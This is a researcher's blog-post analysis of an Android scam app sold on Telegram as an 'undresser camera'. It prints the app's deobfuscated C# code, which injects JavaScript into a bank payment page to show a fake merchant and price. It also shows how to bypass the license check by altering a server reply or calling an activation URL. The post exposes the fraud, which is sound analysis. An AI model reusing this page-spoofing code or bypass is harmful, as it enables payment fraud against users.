Easy Money, As Simple As An Android Scam!

totally legit

The story – Smelly Smelly apk

One of my colleagues came to me with an apk (Android application), he said he can’t make it work on his Genymotion emulator but he’s 100% certain it’s an Iranian malware. Based on his observation the guy behind this application was spending more than 500$ daily to spread this app on Telegram messenger public channels, he was basically paying channel administrators with huge number of members to advertise and spread his application. A non-exhaustive list of channels observed by us is provided at the end of this post (note that channel moderators remove the ads after a certain amount of time). During the period of our observation which was roughly 10 days, the advertisement campaign has been ongoing. During this period his advertisement was getting more than 500,000 views. Below is one of these advertisements.

 

sample advertisement by this malware

The application called itself the “Undresser Camera App”, from these observations it becomes clear that it has to be some sort of scam. The ad also comes with a video showing the application in action:

 

In the normal scam scenario you have to pay the author beforehand and then he gives you a faulty or fake application that doesn’t work and you have no way of getting your money back. After all no one goes to the police saying “hey officer someone just scammed me by selling a fake undresser camera application that only costs 50 cents”.

Initial Analysis – Cross-platform malware, or is it?

The initial phase to analyze this malware was to unzip the apk package taking a peek at its content. In order to sync our workstations, I’ve created a directory named “temp” on my ~/Desktop, moved the apk there and the apk is named “dorbin.apk”. I then used jadx-gui to decompile this application and statically analyze the java version of it.

jadx-gui dorbin.apk

What I was expecting to see was an obfuscated application, stealing information, loading phishing URLs, ransomware type of behavior, or maybe just maybe a sophisticated malware pulling out tricks like root exploits. What I got was a java application having nothing more than a couple of activities.

static analysis - dorbin.apk

What we get from this image is that:

  • The application is using Runtime.register and TypeManager.Activate methods
  • Under Resources\lib\armeabi-v7a which is where native libraries are,  we see libmonodroid.so and libmonosgen-2.0.so

By doing a little bit of google search we find out that this application was developed with Xamarin, a mobile application development framework which lets you run your code on multiple platforms. Since Xamarin is based on .net, it uses mono library to run its code on android. Runtime.register and TypeManager.Activate methods are Xamarin wrappers and what they do is pass the application execution flow to native compiled classes written in .net. So this malware has the potential to be compiled for both Android and iOS platforms with minor modification.

Now that we know we’re dealing with a Xamarin application, we take a look at Resources/assemblies to find the main applications functions.

assembliesSuperCamera.dll is where the actual .net code is. Using a .Net decompiler like ILSpy we can access the C# methods and classes in this dll.

list of classesBut the actual code is obfuscated and it’s not that easy to make sense out of it. A sample method definition is available below, we can only get to a high level view of system methods used in the application, we can see that there’s not much going on in this code either, most likely there’s no root exploit, no ransomware type of behavior or information theft.

[eaaQZ80LfhWu6qLeJO.enarpu6wkg4sErvghJ(typeof(eaaQZ80LfhWu6qLeJO.enarpu6wkg4sErvghJ.e5GEEV5DKkh7vEO8uj<object>[]))]
		[MethodImpl(8)]
		internal static string eOUOAQUqU(int  )
		{
			int arg_23AF_0 = 0;
			int count;
			while (true)
			{
				int num = arg_23AF_0;
				byte[] array2;
				int num2;
				byte[] array3;
				int num3;
				int num4;
				BinaryReader binaryReader;
				while (true)
				{
					IL_23B3:
					int arg_23B7_0 = num;
					CryptoStream cryptoStream;
					byte[] rgbKey;
					byte[] array4;
					RijndaelManaged rijndaelManaged;
					while (true)
					{
						switch (arg_23B7_0)
						{
						case 0:
							if (eaaQZ80LfhWu6qLeJO.earMpuwkg.Length == 0)
							{
								goto Block_9;
							}
							goto IL_45F;
						case 1:
							goto IL_14E9;
						case 2:
							goto IL_75A;
						case 3:
							goto IL_69B;
						case 4:
							goto IL_156C;
						case 5:
							goto IL_1746;
						case 6:
							goto IL_2A2F;
						case 7:
							goto IL_1DF1;
						case 8:
							goto IL_1CB5;
						case 9:
							goto IL_A79;
						case 10:
							goto IL_2B6E;
						case 11:
						{
							byte[] array;
							cryptoStream.Write(array, 0, array.Length);
							num = 156;
							if (!true)
							{
								goto IL_2977;
							}
							goto IL_23B3;
						}
						case 12:
							...

Let’s see the permissions and services the application makes use of, I used apktool to get the xml version of AndroidManifest.xml file for this application. I used the following command:

apktool d dorbin.apk

AndroidManifest.xml looked like this:

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:installLocation="auto" package="com.supercamera.app" platformBuildVersionCode="25" platformBuildVersionName="7.1.1">
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <application android:allowBackup="true" android:icon="@drawable/camera" android:label="SuperCamera" android:name="android.app.Application">
        <activity android:icon="@drawable/icon" android:label="درباره ما" android:name="md552a6ea15d8d57b628a7925702f10e901.About" android:screenOrientation="portrait"/>
        <activity android:label="دوربین" android:name="md552a6ea15d8d57b628a7925702f10e901.Cameraaa" android:screenOrientation="landscape"/>
        <activity android:label="اپلیکشن Super Camera چیست؟" android:name="md552a6ea15d8d57b628a7925702f10e901.Description" android:screenOrientation="portrait"/>
        <activity android:icon="@drawable/camera" android:label="پرداخت و فعال سازی درون برنامه" android:name="md552a6ea15d8d57b628a7925702f10e901.License" android:screenOrientation="portrait"/>
        <activity android:icon="@drawable/icon" android:label="Super Camera" android:name="md552a6ea15d8d57b628a7925702f10e901.MainActivity" android:screenOrientation="portrait">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <provider android:authorities="com.supercamera.app.mono.MonoRuntimeProvider.__mono_init__" android:exported="false" android:initOrder="2147483647" android:name="mono.MonoRuntimeProvider"/>
    </application>
</manifest>

There’s no fishy permission requested, only camera, external storage read/write and internet. There’s also no background services implemented by this application. So let’s try and run this application on a real android device. Notice the reason it failed to run on Genymotion emulator was that it only had native arm components and Genymotion was looking for x86 compiled libraries.

Running The Application – Let’s give this bad boy a go!

I used a spare android device to run this malware, I set up a burp proxy to intercept the traffic. The application has only a handful of activities:

From the top, first icon brings up the camera, but alerts you that you have to purchase a license first. Second icon is the about screen which makes a funny statement, or a rather sad one because people still believe in this camera to undress people and pay for it.

It says that “You only need an android phone to undress whoever you want using this application, this feature was first developed by Nokia, but 8 years ago they were forced to disable this feature, these days every company has this feature in their camera but it is disabled by default due to regulations. All you need is an application like “Super Camera” (current application) to be able to enable this feature on your mobile phone”. Makes much sense, huh?

Then there’s the key icon which brings up a valid payment screen asking for a 0.5$ amount to purchase the license, the payment gateway is licensed to “Pouyan Charge”, the name implies it has to belong to a mobile phone e-charge selling website.

payment screenThe application makes a request to the following url sending out an ID and asking for the license status, and in the normal case the server responds with a “no” stating that your license is invalid and then the payment page is shown, since the page is loaded via in app browser and the url is hidden it was a good opportunity to load a phishing website… but the malware authors decided not to be greedy and preferred to skip the troubles it could cause for them. Either way by paying up or manipulating server response to “yes” you get your application activated.

Client Request:

GET /mellatasnajsfnain2as5asfa3/q19/api.php?IdNumber=08034182589334a3&action=0 HTTP/1.0
Host: asfmw2as1fas4f8a4f6aaswrtrege.supcamcomsap.ml
Connection: close

Server Response:

HTTP/1.0 200 OK
Date: Sun, 05 Feb 2017 11:19:39 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Connection: close

no

We simply replace no with yes and we have the application activated.

In order to activate your application permanently from the server side, you could send a request to the following URL:

asfmw2as1fas4f8a4f6aaswrtrege.supcamcomsap.ml/mellatasnajsfnain2as5asfa3/q19/api.php?IdNumber=08034182589334a3&action=1

There’s also the support page which tells you to contact a Telegram id, which doesn’t respond.

After activation, we click on the camera icon, there’s a rather long loading bar which goes forward 1% every second, totally legit!

fake loadingAnd then tells you that due to this procedure being extremely complex, sadly your phone failed to perform the tasks and can’t support this “8 years old” feature! Use a phone with a more capable hardware. There was also a notice under About screen saying that you can’t use your license more than once, so if you want to test another phone or reinstall the app you have to make another payment.

failed to run

Changing The Price In The Payment Gateway – This Guy’s Got Tricks

During the tests, I was specifically eager to know if this guy was using a valid payment gateway or he was stealing users’ banking credentials. I used BurpSuite to proxy this connection, I found out that the payment gateway is licensed to “Pouyan Charge” and the price to be payed is 5 $, but when the page gets delivered to the phone and loads in the webview inside the app, it is evident that the gateway is licensed to “Internet Charge Sales” and the price to be payed is 50 cents, so I dug deeper to find out if the application was replacing valid information with fake ones. On the left you see the real payment gateway and on the right side is the modified payment screen, notice vendor name, vendor code and payment amount are replaced with fake values to deceive the user.

Fake Payment Gateway

I used ILSpy earlier to decompile the application but since the dll was obfuscated, there wasn’t much to understand from the source code. This time I used Reflexil in conjunction with ILSpy to remove the obfuscation partially and have a look at the cleaner code. Specifically Reflexil was able to detect obfuscation software which was “.Net Reactor” and replaced obfuscated string constants with their original values. The following code is responsible for the activity where the payment gateway loads up, if you look closely you see that this guy is replacing the Vendor name and the price with fake information, you are paying 5 dollars but you see 50 cents on the screen.

Remove obfuscation

namespace SuperCamera
{
	public class RougeoWebClient : WebViewClient
	{
		public bool iserror;

		public bool isfinished;

		public string geturl;

		public int level;

		private string sclass1;

		private string sclass2;

		private string sclass3;

		private string sclass5;

		private string sclass6;

		private string sclass7;

		private string sclass8;

		public override void OnPageFinished(WebView view, string url)
		{
			if (169649 - 249951 != -80301)
			{
			}
			while (!this.iserror)
			{
				if (39939 - 356132 == -316193)
				{
					string text = "";
					if (236770 - 185398 == 51372)
					{
						if (view.Url.Contains("ikc"))
						{
							if (95687 - 452353 == -356665)
							{
								continue;
							}
							if (this.level == 0)
							{
								if (115776 - 19480 == 96297)
								{
									continue;
								}
								text = string.Format("x=document.getElementsByClassName('col-md-12 pay-info-002');y=document.getElementsByClassName('col-md-12 pay-info-004');x[0].innerHTML=\"{0}\";x[1].innerHTML=\"{1}\";y[0].innerHTML=\"{2}\";xx=document.getElementsByClassName('form-group form-inline pay-main-col-005');xx[0].innerHTML=\"{3}\"", new object[]
								{
									this.sclass1,
									this.sclass2,
									this.sclass3,
									this.sclass8
								});
								if (149377 - 153398 != -4021)
								{
									continue;
								}
							}
							else
							{
								text = string.Format("x=document.getElementsByClassName('col-md-12 pay-info-002 receipt');y=document.getElementsByClassName('col-md-12 pay-info-004');x[0].innerHTML=\"{0}\";x[1].innerHTML=\"{1}\";y[0].innerHTML=\"{2}\";document.getElementById('r_custId').innerHTML=\"{3}{4}\";document.getElementById('r_refId').innerHTML=\"{5}\";", new object[]
								{
									this.sclass5,
									this.sclass5,
									this.sclass6,
									new Random().Next(148305, 168305),
									new Random().Next(855210, 855210),
									new Random().Next(30601946, 99606946)
								});
								if (139096 - 427837 == -288740)
								{
									continue;
								}
							}
						}
						else if (view.Url.Contains("bpm"))
						{
							if (58258 - 503509 == -445250)
							{
								continue;
							}
							if (this.level == 0)
							{
								if (204881 - 101467 == 103415)
								{
									continue;
								}
								text = string.Format("x5=document.getElementsByClassName('InputValue');x5[0].innerHTML=\"{0}\";x5[1].innerHTML=\"{1}\";x5[2].innerHTML=\"{2}\";xx=document.getElementsByClassName('PublicInput');xx[3].outerHTML=\"{3}\"", new object[]
								{
									" &nbsp; فروش اينترنتي شارژ &nbsp;",
									"&nbsp; 2138873 &nbsp;",
									"&nbsp; 20,000 &nbsp; ريال",
									this.sclass7
								});
								if (270053 - 527349 == -257295)
								{
									continue;
								}
							}
							else
							{
								text = string.Format("y5=document.getElementsByClassName('HeaderFont');y5[1].innerHTML=\"{0}{1}\";y5[3].innerHTML=\"{2}\";y5[5].innerHTML=\"{3}\";y5[7].innerHTML=\"{4}\";y5[19].innerHTML=\"{5}\";", new object[]
								{
									new Random().Next(1111111, 9999999),
									new Random().Next(1111, 9999),
									"فروش اينترنتي شارژ",
									"2138873",
									"iransharj.xyz",
									new Random().Next(111111, 999999)
								});
								if (261771 - 396930 != -135159)
								{
									continue;
								}
							}
						}
						if (!string.IsNullOrEmpty(text))
						{
							if (155372 - 215715 == -60342)
							{
								continue;
							}
							view.LoadUrl("javascript: {" + text + "};");
							if (117199 - 181055 == -63855)
							{
								continue;
							}
						}
						view.Visibility = ViewStates.Visible;
						if (39650 - 188023 != -148372)
						{
							this.isfinished = true;
							if (54964 - 377987 != -323022)
							{
								break;
							}
						}
					}
				}
			}
		}

		public override bool ShouldOverrideUrlLoading(WebView view, string url)
		{
			return false;
		}

		public override void OnPageStarted(WebView view, string url, Bitmap favicon)
		{
			view.Visibility = ViewStates.Gone;
		}

		public override void OnReceivedError(WebView view, [GeneratedEnum] ClientError errorCode, string description, string failingUrl)
		{
			this.iserror = true;
		}

		public RougeoWebClient()
		{
			if (171780 - 531627 != -359847)
			{
			}
			while (true)
			{
				this.geturl = "";
				if (49026 - 48265 != 762)
				{
					this.sclass1 = "<p><span class='glyphicon glyphicon-stop' aria-hidden='true'></span>پذیرنده : اي ار چارز</p><p><span class='glyphicon glyphicon-stop' aria-hidden='true'></span>شماره پایانه : 02006268</p><p><span class='glyphicon glyphicon-stop' aria-hidden='true'></span>کد پذیرندگی : 992180002006268</p><p><span class='glyphicon glyphicon-stop' aria-hidden='true'></span>  مبلغ قابل پرداخت :<span style='font-weight: 800; margin: 0 5px; color: #0F4DBC;'>20,000</span>ریال</p>";
					if (216970 - 77356 != 139615)
					{
						this.sclass2 = "<p><span class='glyphicon glyphicon-stop' aria-hidden='true'></span>پذیرنده : اي ار چارز</p><p><span class='glyphicon glyphicon-stop' aria-hidden='true'></span>شماره پایانه : 02006268</p><p><span class='glyphicon glyphicon-stop' aria-hidden='true'></span>کد پذیرندگی : 992180002006268</p>";
						if (189433 - 131078 == 58355)
						{
							this.sclass3 = "<p>اي ار چارز</p><!-- <a target='_blank' href=http://www.irchargecell.com> --><p><span class=' glyphicon glyphicon-paperclip' aria-hidden='true' style='font-size: 17px; top: 5px; right: -3px; color: rgb(6, 175, 78);'></span>وب سایت اي ار چارز  : http://www.irchargecell.com</p><p>اي ار چارز</p><!-- <a target='_blank' href=http://www.irchargecell.com> --><p><span class=' glyphicon glyphicon-paperclip' aria-hidden='true' style='font-size: 17px; top: 5px; right: -3px; color: rgb(6, 175, 78);'></span>وب سایت  اي ار چارز  : http://www.irchargecell.com</p>";
							if (16451 - 366993 != -350541)
							{
								this.sclass5 = " <p><span class='glyphicon glyphicon-stop' aria-hidden='true'></span>پذیرنده : اي ار چارز</p><p><span class='glyphicon glyphicon-stop' aria-hidden='true'></span>شماره پایانه : 02006268</p><p><span class='glyphicon glyphicon-stop' aria-hidden='true'></span>کد پذیرندگی : 992180002006268</p>";
								if (283579 - 415555 == -131976)
								{
									this.sclass6 = " <p><span class='glyphicon glyphicon-paperclip' aria-hidden='true' style='  font-size: 17px; top: 5px; right: -3px;color: rgb(6, 175, 78);'></span>وب  سایت  اي ار چارز  : http://www.irchargecell.com</p>";
									if (258775 - 475843 == -217068)
									{
										this.sclass7 = "<input type='text' size='60' class='PublicInput' id='W_EMAIL' style='display:none;' name='W_EMAIL' maxlength='35' onkeyup='nextTabs(this, false, event)' tabindex='10' style=' width: 200px;' dir='ltr' onpaste='doNotPaste()' onfocus='getName(this)'><input type='text' size='60' class='PublicInput' maxlength='35'  tabindex='10' style=' width: 200px;' dir='ltr' onpaste='doNotPaste()' onfocus='getName(this)'>";
										if (208719 - 594862 != -386142)
										{
											this.sclass8 = "<label for='p1234'>ایمیل (اختیاری)</label><input type='text' class='form-control ltr pull-left'>";
											if (145527 - 45576 != 99952)
											{
												base..ctor();
												if (293997 - 563575 == -269578)
												{
													break;
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}
		}

		internal static bool @true()
		{
			return true;
		}

		internal static bool @false()
		{
			return false;
		}
	}
}

 

The Missing Link Has Been Found – Making Money Literally Out Of Thin Air!

And that is it, this guy was making money this easy! All he needed was a fake video, a fake application with only a payment screen and he was making couple of hundreds of dollars each day! I can’t believe people fell for it. And the morale of the story is that 0.5 $ (or 5 $ if the user finds out) is too insignificant for victims to make a claim for it or alert the police, even if he does the information in the payment gateway is replaced with fake data, and ultimately you’ll think your phone wasn’t capable or the application was not compatible with it and forget about this whole thing. With the use of simple math let’s try to estimate his income, suppose there’s a 1% infection/deceit rate:

500,000 (views) * 0.01 (infection/deceit rate) * 5$ (price) = 25,000 $ – 5,000 (advertisement costs) = 20,000 $ over a period of 10 days.

Now this is a rough estimate but if you consider this guy is spending 500 $ daily for advertisements he has to make a huge amount of money in a rather short time before his payment gateway is tracked and closed down.

Channels That The Ad Was Seen On

  1. @hajijock
  2. @Kelas_Fun
  3. @shadiOk
  4. @gaafarabad
  5. @kolbexxl
  6. @Enekase_EsHghh
  7. @maamaki
  8. @bahdasti
  9. @tvsalamat
  10. @videyaa
  11. @hamsaraneha
  12. @nini_kopol
  13. @Voice99
  14. @khar_dar
  15. @zirdelamdardgerfteee2
  16. @IRclashers_ir
  17. @hamechi_aroome
  18. @tv_irane
  19. @Wallpaper_pic
  20. @zeibaeyeshgh
  21. @Foot_hot
  22. @Footi_hall
  23. @clup_iran
  24. @Otagh_khab
  25. @modern_live1
  26. @zibatarin_eshtebah
  27. @baft_mo
  28. @Eahgh_yaani_to
  29. @dansss_s
  30. @khafankadhe1
  31. @lamp_85
  32. @mahan_negin
  33. @dactan_online
  34. @ame_mahsa_035
  35. @lovee3ity
  36. @havaye_adam
  37. @topjenc
  38. @irshahrzad
  39. @irjook
  40. @text_delnveshte
  41. @Wirgule
  42. @amme_soozi
  43. @Voice9999
  44. @lukchery_home
  45. @zeibaeyeshgh
  46. @Hadi26262
  47. @fazedell
  48. @Zena_zade
  49. https://telegram.me/joinchat/AAAAAD7Wf_iVxoBQwZTnjA
  50. @mahi_hana
  51. @Bbalengderaz
  52. @gasreashegane
  53. @JOK_GIF85
  54. @deltangee
  55. @pashmakehaji
  56. @asheghaneh_mp
  57. @gamkad0
  58. @sweet_revenge8
  59. @ezdevaj69
  60. @hamsardari_asan
  61. @ensaniyat1
  62. @Vooic_kadee
  63. @funnn_kadeee
  64. @jansikada
  65. @koche_baq_eshq
  66. @tavaneyeknegah2
  67. @bekodamingonaaah
  68. @oldmusiiic
  69. @melodichanel
  70. @eshqeshishei
  71. @haydeh_mahasti_channel
  72. @Kelas_Fun
  73. @vanem0od
  74. @L0VE_T0_L0VE
  75. @ahooraloveme
  76. @clip_antic
  77. @hessziba
  78. @jowjowtele
  79. @rishtr8
  80. @Hesse_Mobhham
  81. @clipdonitak
  82. @lovemeeM
  83. @taqdirsiah
  84. @ameghezii
  85. @DISSLOVEMUSICORG1